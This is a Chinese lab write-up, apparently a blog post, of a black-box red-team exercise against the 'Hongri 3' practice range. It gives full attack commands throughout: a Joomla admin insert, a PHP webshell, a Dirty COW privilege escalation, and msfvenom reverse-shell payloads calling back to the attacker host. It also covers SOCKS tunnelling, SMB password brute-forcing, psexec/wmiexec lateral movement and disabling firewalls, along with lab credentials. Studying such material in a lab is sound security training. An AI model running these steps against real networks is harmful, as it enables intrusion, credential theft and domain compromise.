ATT&CK红队评估(红日靶场三)

靶场搭建

靶场下载地址:漏洞详情

本次测试为黑盒测试,所以所有主机都为挂起状态,且账号都默认已经登录

已知出网主机为centos主机

将centos出网网卡和kali攻击机网卡都设置为NAT模式

其它网卡都默认vmnet2模式

如果没有vmnet2虚拟网络,应该在虚拟网络编辑器建立一个虚拟网络vmnet2,仅主机模式,子网地址为192.168.93.0

开启centos,第一次运行,需重新获取桥接模式网卡ip

service network restart

查看ip,发现两个网段

192.168.48.0/24(出网ip)和192.168.93.0/24(内网ip)

在kali上ping一下出网主机,看能否连通

开启所有主机,靶场搭建完毕

渗透测试

因为是黑盒测试,所以我们现在并不知道出网主机的ip

使用nmap扫描整个网段,探测存活主机

nmap -sP -T4 192.168.48.0/24

发现136和134两台主机(1,2,254是网关和广播地址)

136是KALI攻击机,所以靶机地址为192.168.48.134

使用nmap扫描查看端口开放情况

nmap -sS -p 1-65535 -A 192.168.48.134

开放了22端口,ssh服务,可能存在密码爆破

开放了80端口,存在http网站服务

开放了3306,存在MYSQL服务,可能存在弱口令

访问网站

知道网站CMS是Joomla,直接用kali自带工具joomscan进行扫描

joomscan --url http://192.168.48.134/

没有发现漏洞,发现后台

http://192.168.48.134/administrator/index.php

访问后台

测试了一下存不存在默认账号密码弱口令,发现不存在

还扫描出一个敏感配置文件

在配置文件中找到了数据库账号密码

使用Nivicat工具成功连接数据库

前面joomscan已经扫描出joomla版本为3.9.12

搜索引擎搜索此版本添加密码的方法

搜索到Joomla使用SQL代码添加密码 Joomla 2.5 Joomla 3.x Joomla 4.x

(这里需要注意表名和组名,这里表名为am2zu_users,组名为am2zu_user_usergroup_map)

INSERT INTO am2zu_users (name, username, password, params, registerDate, lastvisitDate, lastResetTime) VALUES ('Administrator2', 'admin123', '433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT', '', NOW(), NOW(), NOW()); INSERT INTO am2zu_user_usergroup_map (user_id,group_id) VALUES (LAST_INSERT_ID(),'8'); - admin = 433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT - secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199 - OU812 = 5e3128b27a2c1f8eb53689f511c4ca9e:J584KAEv9d8VKwRGhb8ve7GdKoG7isMm

执行sql语句添加账号密码admin123/admin

添加成功

登录后台成功

新建一个php文件用于保存马

写入一句话木马

使用蚁剑连接

发现不能执行命令

应该是设置了disable_functions

蚁剑有专门绕过disable_functions的插件(可以在插件市场下载,需要梯子)

选择PHP7_GC_UAF模式或者下一个PHP的模式,然后点击开始,就会弹出一个终端

绕过成功

ipconfig发现只有一个网卡,而centos应该有两个网卡,一个出网网卡,一个内网网卡

uname -a 发现是Ubuntu系统

拿到了Centos的shell,执行命令返回的是Ubuntu(web1)的信息

原来是Centos是Ubuntu的反向代理,用的是Nginx协议

在/tmp/mysql/test.txt文件中发现了账号密码wwwuser/wwwuser_123Aqx

前面扫描端口存在ssh,这应该是用在这,使用xshell工具登录ssh

登录成功

ipconfig

可以看出是centos主机

成功获得centos的shell,接下来进行提权

Linux提权

        1、内核提权(脏牛肉提权)

        2、suid提权

        3、sudo提权

        4、数据库提权

sudo -l查看特权命令

不能使用sudo命令

suid提权,通过命令find / -perm -4000 2>/dev/null查看是否具有root权限的命令

        常见root权限文件

                nmap

                vim

                find

                bash

                more

                less

                nano

                cp

没有可以用于提权的命令

内核提权

        脏牛肉提权(CVE-2016-5195)

        使用xftp上传exp,上传到临时文件夹/tmp下

        对dirty.c进行编译

        gcc -pthread dirty.c -o dirty -lcrypt

        执行编译后的文件,并设置密码

        ./dirty 123456

        su firefart

        输入密码123456

提权成功

使用xftp上传msf马,上线msf

生成linux马

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.48.136 LPORT=4445 -f elf > a.elf

上传成功

msf开启监听

use exploit/multi/handler

set payload linux/x86/meterpreter/reverse_tcp

set LHOST 192.168.48.136

set LPORT 4445

exploit

执行msf马

chmod +x a.elf

./a.elf

成功获得会话

内网渗透

由于在获取的会话执行shell获取的不是完整shell,所以使用pyhton中的pty模块反弹一个完整的shell环境

python -c 'import pty;pty.spawn("/bin/bash")'

ipconfig查看网络信息

发现内网网段192.168.93.0/24

首先添加路由

route add 192.168.93.0 255.255.255.0 1

添加了路由之后只有msfconsole能进入到内网,如果需要其它程序也能进入到内网就要建立代理

挂起会话,ctrl+z(挂起后使用命令jobs可以查看挂起的进程,使用命令fg %挂起进程号(例:fg %1)可以恢复

使用earthworm搭建socks5反向代理,执行以下命令

chmod +x ew_for_linux64

./ew_for_linux64 -s rcsocks -l 1080 -e 1234

通过1080端口,将本地流量转发出去

rcsocks、rssocks 用于反向连接 ,ssocks 用于正向连接

        -l 指定本地监听的端口

        -e 指定要反弹到的机器端口

        -d 指定要反弹到机器的IP

        -f 指定要主动连接的机器 ip

        -g 指定要主动连接的机器端口

        -t 指定超时时长,默认为 1000

通过xftp工具上传./ew_for_linux64文件到centos的/tmp下

使用xshell工具在centos上执行如下命令

        chmod +x ew_for_linux64

        ./ew_for_linux64 -s rssocks -d 192.168.48.136 -e 1234

        (192.168.48.136为kali攻击机的ip)

代理建立成功

ctrl+z 挂起earthworm进程

将socks5 服务器指向 127.0.0.1:1080

vim /etc/proxychains4.conf

验证代理是否建立成功

jobs命令 查看挂起的进程

fg %1 命令回到msfconsole进程

探测存活主机

use auxiliary/scanner/discovery/udp_probe

set RHOSTS 192.168.93.0/24

set THREADS 5

exploit

发现192.168.93.10主机WIN-8GA56TNV3MV

发现192.168.93.20主机WIN2008

发现192.168.93.30主机WIN7

前面已知192.168.93.100主机Centos

还有已知192.168.93.120主机Ubantu

横向移动

使用nmap扫描每台主机

proxychains4 nmap -sP -T4 192.168.93.10

proxychains4 nmap -sP -T4 192.168.93.20

proxychains4 nmap -sP -T4 192.168.93.30

三台主机都是windows,10这台主机开放了53端口,可以推测出这台主机为域控主机

主机都开放了445端口,尝试使用永恒之蓝

三台主机都不存在永恒之蓝漏洞

20主机存在1433 mssql服务使用msf的模块进行密码爆破

发现账号密码就是前面找到的mysql密码

试着使用mssql来执行命令

发现不能执行命令

不能利用mssql,只能通过SMB爆破的方式了这里我尝试了使用responder工具伪造smb服务,然后用mssql触发,没有成功

还在网上看到其它方法,但是需要诱使目标主机的管理员输入账号密码

这里我利用msf模块进行进行SMB爆破

        use auxiliary/scanner/smb/smb_login

        set RHOSTS 192.168.93.30

        set PASS_FILE /root/fuzzDicts/passwordDict/top500.txt

        set SMBUser administrator

        exploit

爆破出xp密码为123qwe!ASD

爆破出2012密码为zxcASDqw123!!

2008主机爆破报错

换工具爆破,使用kali自带工具hydra

成功爆破出2008密码也为123qwe!ASD

使用msf自带模块进行攻击

        use exploit/windows/smb/psexec

        set payload windows/x64/meterpreter/bind_tcp

        set SMBUser administrator

        set SMBPass 123qwe!ASD

        set RHOSTS 192.168.93.30

        exploit

成功拿下xp主机,获得会话后进行进程迁移,不然很开会断掉

migrate PID

用同样的方法,在2008主机和2012主机上失败

使用另外一种方法

使用impacket包中的wmiexec工具

python wmiexec.py 'administrator:zxcASDqw123!!@192.168.93.10'

成功获得2012CMD

python wmiexec.py 'administrator:123qwe!ASD@192.168.93.20'

成功获得2008CMD

只有CMD且没有与外网连接,想要上传文件只能通过3389远程连接

        开远程桌面功能

                wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

        防火墙放行

                netsh advfirewall firewall set rule group="Remote Desktop" new enable=yes

连接2012主机的远程桌面失败

成功连接2008的远程桌面

登录时记得要切换用户为administrator

登录成功

生成一个msf bind的马

        msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.48.136 LPORT=5555 -f exe > shell1.exe

将马通过远程连接上传到2008主机上

在kali上进行监听

        use exploit/multi/handler

        set payload windows/meterpreter/bind_tcp

        set RHOST 192.168.93.20

        set LPORT 5555

        exploit

远程桌面执行msf马

成功收到会话

通过getsystem提权,成功获得system权限

进程迁移

migrate PID(可以通过ps命令查看进程)

2012主机无法通过远程桌面上传文件

想到可以用文件共享

在获得2012主机的CMD中执行命令

net use \192.168.93.20\ipc$ "zxcASDqw123!!" /user:TEST.ORG\Administrator

成功建立ipc共享

生成一个msf bind马

        msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.48.136 LPORT=6666 -f exe > shell2.exe

将马通过远程桌面上传到2008主机上

再通过ipc文件共享复制到2012主机上

上传成功

在msf开启监听

        exploit/multi/handler

        set payload windows/meterpreter/bind_tcp

        set RHOST 192.168.93.10

        set LPORT 6666

        exploit

在CMD上执行马

发现没有收到会话,应该是被防火墙拦截了,关闭防火墙

        NetSh Advfirewall set allprofiles state off

成功收到会话

使用getsystem命令提权

进程迁移

migrate PID

成功拿下所有主机


版权声明:本文为weixin_45682839原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。